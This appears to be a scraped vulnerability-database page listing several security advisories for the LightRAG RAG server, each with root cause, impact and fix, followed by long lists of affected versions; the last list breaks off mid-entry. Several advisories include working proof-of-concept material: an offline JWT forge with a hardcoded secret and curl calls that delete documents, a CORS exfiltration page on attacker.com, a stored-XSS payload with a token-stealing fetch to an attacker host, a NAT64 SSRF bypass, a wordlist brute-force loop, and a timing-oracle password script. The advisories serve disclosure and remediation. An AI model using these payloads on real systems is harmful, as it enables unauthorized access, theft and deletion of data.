When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

May 26, 2026

1.5.0rc2 pre

7 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


